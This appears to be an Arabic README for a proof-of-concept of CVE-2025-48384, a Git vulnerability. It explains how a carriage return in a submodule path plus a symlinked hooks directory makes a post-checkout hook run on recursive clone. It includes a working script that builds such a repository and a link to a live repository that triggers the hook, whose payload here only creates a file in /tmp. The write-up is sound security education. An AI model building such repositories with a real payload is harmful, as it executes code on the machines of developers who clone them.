
إثبات المفهوم لـ CVE-2025-48384
تم إنشاء هذا المستودع لأغراض التعليم الأمني.
يرجى عدم إساءة استخدامه.
نظرًا لأن هذه الثغرة تتطلب تضمين \r في اسم الدليل،
فإن أنظمة Linux/Unix هي المتأثرة.
فيما يلي إصدارات Git المتأثرة.
تتحقق RCE أيضًا عند استنساخ هذا المستودع باستخدام الأمر التالي.
※ يُرجى توخي الحذر الشديد عند التنفيذ.
git clone --recursive https://github.com/IK-20211125/CVE-2025-48384
سيتم تنفيذ الأمر الموجود داخل post-checkout في مستودع الوحدة الفرعية التالي.
#!/usr/bin/env bash
touch /tmp/CVE-2025-48384
#!/bin/zsh
git init sub
echo '#!/usr/bin/env bash
touch /tmp/CVE-2025-48384
' > sub/post-checkout
chmod +x sub/post-checkout
git -C sub add post-checkout
git -C sub commit -m hook
git init CVE-2025-48384
git -C CVE-2025-48384 -c protocol.file.allow=always submodule add "$PWD/sub" sub
git -C CVE-2025-48384 mv sub "$(printf "sub\r")"
git config unset -f CVE-2025-48384/.gitmodules submodule.sub.path
printf "\tpath = \"sub\r\"\n" >> CVE-2025-48384/.gitmodules
ln -s .git/modules/sub/hooks CVE-2025-48384/sub
git -C CVE-2025-48384 add -A
git -C CVE-2025-48384 commit -m submodule
git -c protocol.file.allow=always clone --recurse-submodules CVE-2025-48384 bad-clone
تم إنشاؤه بالاستناد إلى هذا. تم إجراء تغييرين:
git config unset -f repo/.git/modules/sub/config core.worktree
printf "[core]\n\tworktree = \"../../../sub\r\"\n" >> repo/.git/modules/sub/config
أولاً، بخصوص سبب تحقق RCE،
تستغل هذه الثغرة الميزة القياسية في Git المسماة hooks.
لتبسيط شرح مفهوم hooks،
فهي «ميزة تتيح تنفيذ سكربتات مُعدة مسبقًا عند حدوث أحداث معينة (مثل عمليات الالتزام commit وغيرها)».
تستغل هذه الثغرة ملفًا يُسمى post-checkout داخل .git، ويتم تنفيذه عند إجراء checkout.
ومع ذلك، نظرًا لأن هذا الملف لا يُدار إلا محليًا في الأساس، فإن مجرد استنساخ مستودع من GitHub،
لا يسمح للمهاجم بالتدخل فيه بطبيعة الحال.
يتم تجاوز هذا القيد باستغلال معالجة Git لـ\r،
ويتم تحقيق RCE بوضع ملف post-checkout تعسفي في ./.git/modules/sub/hooks/ على الجهاز المحلي.
يتم استغلال معالجة Git لـ\r.
سأشرح ذلك ببساطة وفقًا لآلية عمل Git.
أولاً، يتم استنساخ المستودع البعيد من GitHub إلى الجهاز المحلي باستخدام git clone --recursive {url}.
(تؤدي إضافة --recursive إلى استنساخ الوحدات الفرعية في الوقت نفسه.)
وعندها، يتم تفريغ الوحدة الفرعية القادمة من url في الدليل المحدد بواسطة المعامل path داخل .gitmodules.
[submodule "sub"]
url = https://github.com/IK-20211125/sub.git
path = "sub"
يتم التلاعب باسم الدليل في المعامل path كما يلي:
path = "sub\r"
أيضًا، يجب تسمية دليل الوحدة الفرعية داخل المستودع باسم sub\r.
عند تنفيذ git clone --recursive بهذا الشكل،
سيحاول Git تفريغ الوحدة الفرعية من url في الدليل sub\r وفقًا للمعامل path داخل .gitmodules.
(إذا لم يكن هناك دليل مطابق للمعامل path داخل .gitmodules، فلن يتم تفريغ الوحدة الفرعية.)
لكن Git لا يعتمد على قيمة path في .gitmodules لتحديد الوجهة النهائية لتفريغ الوحدة الفرعية.
بل إنه يعتمد في النهاية على المعامل المسمى worktree داخل ملف .git/modules/sub/config.
تتم كتابة هذا المعامل بناءً على قيمة path في .gitmodules.
وهذه الكتابة هي النقطة المهمة.
عند كتابة path = "sub\r" في المعامل worktree داخل .git/modules/sub/config، ستكون النتيجة كما يلي:
[core]
workdir = ../../../sub\r
النقطة المهمة هنا هي أن القيمة غير محاطة بعلامتي اقتباس مزدوجتين.
static ssize_t write_pair(int fd, const char *key, const char *value, [...]
{
[...]
/*
* Check to see if the value needs to be surrounded with a dq pair.
* Note that problematic characters are always backslash-quoted; this
* check is about not losing leading or trailing SP and strings that
* follow beginning-of-comment characters (i.e. ';' and '#') by the
* configuration parser.
*/
if (value[0] == ' ')
quote = "\"";
for (i = 0; value[i]; i++)
if (value[i] == ';' || value[i] == '#')
quote = "\"";
if (i && value[i - 1] == ' ')
quote = "\"";
strbuf_addf(&sb, "\t%s = %s", key + store->baselen + 1, quote);
تُحاط القيمة بعلامتي اقتباس مزدوجتين فقط إذا احتوت على مسافة في موضع معين،
أو إذا احتوت على ; أو # في أي موضع،
أما في حالة \r، فلا تُحاط بعلامتي اقتباس مزدوجتين.
وعندما لا تكون القيمة محاطة بعلامتي اقتباس مزدوجتين، لن يقيّم Git علامة \r الموجودة في النهاية.
لذلك، ستكون وجهة تفريغ الوحدة الفرعية هي ../../../sub.
ونظرًا لأن اسم الوحدة الفرعية هو sub\r، فمن الممكن إنشاء ملف بأي شكل كان بالاسم sub (لعدم وجود تعارض في الأسماء).
يتم وضع رابط رمزي هنا، لتغيير وجهة تفريغ الوحدة الفرعية إلى ./.git/modules/sub/hooks/.
sub -> .git/modules/sub/hooks
بهذه الطريقة، يمكن وضع post-checkout، وهو ملف السكربت الخاص بالمهاجم والموجود داخل الوحدة الفرعية،
في ./.git/modules/sub/hooks/ على جهاز الضحية، وبالتالي سيتم تنفيذه عند إجراء checkout.
يعود سبب نجاح هذا الهجوم إلى اختلاف معالجة Git لعلامة \r:
.gitmodules، تكون القيمة محاطة بعلامتي اقتباس مزدوجتين، لذلك يتم تقييم \r..git/modules/sub/config، فالقيمة غير محاطة بعلامتي اقتباس مزدوجتين، لذلك لا يتم تقييم \r.في إصدارات Git التي تم إصلاح هذه الثغرة فيها، تم إجراء التغيير التالي:
(تم تعديل السلوك بحيث تُحاط القيمة بعلامتي اقتباس مزدوجتين إذا كانت تحتوي على \r)
if (value[0] == ' ')
quote = "\"";
for (i = 0; value[i]; i++)
if (value[i] == ';' || value[i] == '#' || value[i] == '\r')
quote = "\"";
if (i && value[i - 1] == ' ')
quote = "\"";
من الثغرات المشابهة: CVE-2024-32002.
تستهدف هذه الثغرة أنظمة الملفات التي لا تميز بين الأحرف الكبيرة والصغيرة (مثل Windows وmacOS)،
وتسمح للمهاجم بالتدخل في githooks عبر استخدام الروابط الرمزية، تمامًا كما هو الحال في CVE-2025-48384.
المقال التالي مفيد كمرجع:
https://japanese.opswat.com/blog/analyzing-and-remediating-git-vulnerability-cve-2024-32002
※ إذا وردت أي أخطاء في تفسير المحتوى، يسعدنا تلقّي ملاحظاتكم.